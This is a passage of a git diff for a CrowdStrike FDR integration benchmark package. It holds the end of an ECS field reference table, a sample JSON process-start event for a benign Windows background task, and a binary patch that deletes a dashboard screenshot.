is a common practice to mitigate PID reuse as well as to identify a specific process over time, across multiple monitored hosts. | keyword | -| process.parent.name | Process name. Sometimes called program name or similar. | keyword | -| process.parent.name.text | Multi-field of `process.parent.name`. | match_only_text | -| process.pgid | Deprecated for removal in next major version release. This field is superseded by `process.group_leader.pid`. Identifier of the group of processes the process belongs to. | long | -| process.pid | Process id. | long | -| process.start | The time the process started. | date | -| process.thread.id | Thread ID. | long | -| process.title | Process title. The proctitle, some times the same as process name. Can also be different: for example a browser setting its title to the web page currently opened. | keyword | -| process.title.text | Multi-field of `process.title`. | match_only_text | -| process.uptime | Seconds the process has been up. | long | -| related.hash | All the hashes seen on your event. Populating this field, then using it to search for hashes can help in situations where you're unsure what the hash algorithm is (and therefore which key name to search). | keyword | -| related.hosts | All hostnames or other host identifiers seen on your event. Example identifiers include FQDNs, domain names, workstation names, or aliases. | keyword | -| related.ip | All of the IPs seen on your event. | ip | -| related.user | All the user names or other user identifiers seen on the event. | keyword | -| server.address | Some event server addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket. You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword | -| server.domain | The domain name of the server system. This value may be a host name, a fully qualified domain name, or another host naming format. The value may derive from the original event or be added from enrichment. | keyword | -| server.registered_domain | The highest registered server domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword | -| server.subdomain | The subdomain portion of a fully qualified domain name includes all of the names except the host name under the registered_domain. In a partially qualified domain, or if the the qualification level of the full name cannot be determined, subdomain contains all of the names below the registered domain. For example the subdomain portion of "www.east.mydomain.co.uk" is "east". If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword | -| server.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword | -| source.address | Some event source addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket. You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword | -| source.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long | -| source.as.organization.name | Organization name. | keyword | -| source.as.organization.name.text | Multi-field of `source.as.organization.name`. | match_only_text | -| source.geo.city_name | City name. | keyword | -| source.geo.continent_name | Name of the continent. | keyword | -| source.geo.country_iso_code | Country ISO code. | keyword | -| source.geo.country_name | Country name. | keyword | -| source.geo.location | Longitude and latitude. | geo_point | -| source.geo.region_iso_code | Region ISO code. | keyword | -| source.geo.region_name | Region name. | keyword | -| source.ip | IP address of the source (IPv4 or IPv6). | ip | -| source.mac | MAC address of the source. The notation format from RFC 7042 is suggested: Each octet (that is, 8-bit byte) is represented by two [uppercase] hexadecimal digits giving the value of the octet as an unsigned integer. Successive octets are separated by a hyphen. | keyword | -| source.port | Port of the source. | long | -| tags | List of keywords used to tag each event. | keyword | -| url.domain | Domain of the url, such as "www.elastic.co". In some cases a URL may refer to an IP and/or port directly, without a domain name. In this case, the IP address would go to the `domain` field. If the URL contains a literal IPv6 address enclosed by `[` and `]` (IETF RFC 2732), the `[` and `]` characters should also be captured in the `domain` field. | keyword | -| url.extension | The field contains the file extension from the original request url, excluding the leading dot. The file extension is only set if it exists, as not every url has a file extension. The leading period must not be included. For example, the value must be "png", not ".png". Note that when the file name has multiple extensions (example.tar.gz), only the last one should be captured ("gz", not "tar.gz"). | keyword | -| url.original | Unmodified original url as seen in the event source. Note that in network monitoring, the observed URL may be a full URL, whereas in access logs, the URL is often just represented as a path. This field is meant to represent the URL as it was observed, complete or not. | wildcard | -| url.original.text | Multi-field of `url.original`. | match_only_text | -| url.path | Path of the request, such as "/search". | wildcard | -| url.registered_domain | The highest registered url domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword | -| url.scheme | Scheme of the request, such as "https". Note: The `:` is not part of the scheme. | keyword | -| url.subdomain | The subdomain portion of a fully qualified domain name includes all of the names except the host name under the registered_domain. In a partially qualified domain, or if the the qualification level of the full name cannot be determined, subdomain contains all of the names below the registered domain. For example the subdomain portion of "www.east.mydomain.co.uk" is "east". If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword | -| url.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword | -| user.Ext.real.id | One or multiple unique identifiers of the user. | keyword | -| user.domain | Name of the directory the user is a member of. For example, an LDAP or Active Directory domain name. | keyword | -| user.email | User email address. | keyword | -| user.full_name | User's full name, if available. | keyword | -| user.full_name.text | Multi-field of `user.full_name`. | match_only_text | -| user.group.id | Unique identifier for the group on the system/platform. | keyword | -| user.id | Unique identifier of the user. | keyword | -| user.name | Short name or login of the user. | keyword | -| user.name.text | Multi-field of `user.name`. | match_only_text | - - -An example event for `fdr` looks as following: - -```json -{ - "@timestamp": "2020-10-01T09:58:32.519Z", - "agent": { - "id": "eb2db106-5958-49b5-ae25-c286e62857e1", - "name": "elastic-agent-67101", - "type": "filebeat", - "version": "8.18.0" - }, - "aws": { - "s3": { - "bucket": { - "name": "elastic-package-crowdstrike-fdr-19614" - }, - "object": { - "key": "data" - } - } - }, - "crowdstrike": { - "AuthenticationId": "3783389", - "ConfigStateHash": "3998263252", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "ImageSubsystem": "2", - "IntegrityLevel": "4096", - "MD5HashData": "50d5fd1290d94d46acca0585311e74d5", - "ParentAuthenticationId": "3783389", - "ProcessCreateFlags": "525332", - "ProcessParameterFlags": "16385", - "ProcessSxsFlags": "1600", - "RpcClientProcessId": "2439558094566", - "SHA256HashData": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37", - "SessionId": "1", - "SourceProcessId": "2439558094566", - "SourceThreadId": "77538684027214", - "Tags": [ - "41", - "12094627905582", - "12094627906234" - ], - "TokenType": "2", - "WindowFlags": "128", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-8462-02ade3b2f949", - "info": { - "host": { - "AgentLoadFlags": "1", - "AgentLocalTime": "1697775225", - "AgentTimeOffset": "15889.017", - "AgentVersion": "7.01.13922.0", - "BiosManufacturer": "Iris", - "BiosVersion": "vG17V.21040423/z64", - "ChassisType": "Other", - "City": "Chicago", - "ConfigBuild": "1007.3.0017312.1", - "ConfigIDBuild": "13922", - "Continent": "North America", - "Country": "United States of America", - "FalconGroupingTags": "'FalconGroupingTags/AMERICA'", - "FirstSeen": "1628678052.0", - "HostHiddenStatus": "Visible", - "MachineDomain": "groot.org", - "OU": "Servers;America;Offices", - "PointerSize": "8", - "ProductType": "3.0", - "ServicePackMajor": "0", - "SiteName": "BCL", - "SystemManufacturer": "Iris", - "SystemProductName": "IrOS", - "Time": "1697992719.22", - "Timezone": "America/Chicago", - "Version": "Windows Server 2021", - "cid": "ffffffff30a3407dae27d0503611022d", - "event_platform": "Win" - }, - "user": { - "AccountType": "Domain User", - "LastLoggedOnHost": "COMPUTER1", - "LocalAdminAccess": "No", - "LogonInfo": "Domain User Logon", - "LogonTime": "1702546155.197", - "LogonType": "Interactive", - "PasswordLastSet": "1699971198.062", - "User": "DOMAIN\\BRADLEYA", - "UserIsAdmin": "0", - "UserLogonFlags_decimal": "0", - "_time": "1702546168.576", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "event_platform": "Win", - "monthsincereset": "1.0" - } - }, - "name": "ProcessRollup2V18" - }, - "data_stream": { - "dataset": "crowdstrike.fdr", - "namespace": "27890", - "type": "logs" - }, - "device": { - "id": "ffffffff655344736aca58d17fb570f0" - }, - "elastic_agent": { - "id": "eb2db106-5958-49b5-ae25-c286e62857e1", - "snapshot": false, - "version": "8.18.0" - }, - "event": { - "action": "ProcessRollup2", - "agent_id_status": "verified", - "category": [ - "process" - ], - "created": "2020-10-01T09:58:32.519Z", - "id": "ffffffff-1111-11eb-8462-02ade3b2f949|ffffffff655344736aca58d17fb570f0|ffffffff30a3407dae27d0503611022d", - "ingested": "2026-02-24T11:51:06Z", - "kind": "event", - "original": "{\"AuthenticationId\":\"3783389\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\\\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca\",\"ConfigBuild\":\"1007.3.0012309.1\",\"ConfigStateHash\":\"3998263252\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\backgroundTaskHost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"4096\",\"MD5HashData\":\"50d5fd1290d94d46acca0585311e74d5\",\"ParentAuthenticationId\":\"3783389\",\"ParentBaseFileName\":\"svchost.exe\",\"ParentProcessId\":\"2439558094566\",\"ProcessCreateFlags\":\"525332\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"16385\",\"ProcessStartTime\":\"1604855181.648\",\"ProcessSxsFlags\":\"1600\",\"RawProcessId\":\"22272\",\"RpcClientProcessId\":\"2439558094566\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37\",\"SessionId\":\"1\",\"SourceProcessId\":\"2439558094566\",\"SourceThreadId\":\"77538684027214\",\"Tags\":\"41, 12094627905582, 12094627906234\",\"TargetProcessId\":\"2450046082233\",\"TokenType\":\"2\",\"UserSid\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"WindowFlags\":\"128\",\"aid\":\"ffffffff655344736aca58d17fb570f0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-8462-02ade3b2f949\",\"name\":\"ProcessRollup2V18\",\"timestamp\":\"1601546312519\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "ffffffff655344736aca58d17fb570f0", - "ip": [ - "16.15.12.10" - ], - "name": "FEVWSN1-234", - "os": { - "type": "windows" - } - }, - "input": { - "type": "aws-s3" - }, - "message": "ProcessRollup2", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff655344736aca58d17fb570f0", - "version": "1007.3.0012309.1" - }, - "process": { - "Ext": { - "token": { - "integrity_level_name": "LOW" - } - }, - "args": [ - "C:\\WINDOWS\\system32\\backgroundTaskHost.exe", - "-ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca" - ], - "args_count": 2, - "command_line": "\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca", - "entity_id": "2450046082233", - "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe", - "hash": { - "md5": "50d5fd1290d94d46acca0585311e74d5", - "sha256": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37" - }, - "name": "backgroundTaskHost.exe", - "parent": { - "entity_id": "2439558094566", - "name": "svchost.exe" - }, - "pid": 22272, - "start": "2020-11-08T17:06:21.648Z" - }, - "related": { - "hash": [ - "50d5fd1290d94d46acca0585311e74d5", - "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37", - "3998263252" - ], - "hosts": [ - "FEVWSN1-234", - "COMPUTER1" - ], - "ip": [ - "67.43.156.14", - "16.15.12.10" - ], - "user": [ - "Alan-One", - "DOMAIN\\BRADLEYA", - "S-1-12-1-3697283754-1083485977-2164330645-2516515886" - ] - }, - "tags": [ - "preserve_original_event", - "forwarded", - "crowdstrike-fdr" - ], - "user": { - "domain": "DOMAIN", - "id": "S-1-12-1-3697283754-1083485977-2164330645-2516515886", - "name": "Alan-One" - } -} -``` diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-alert-dashboard.png b/test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-alert-dashboard.png deleted file mode 100644 index d51391a2939b94ca5b8fdb6ef8aebfdd26280f62..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 791493 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 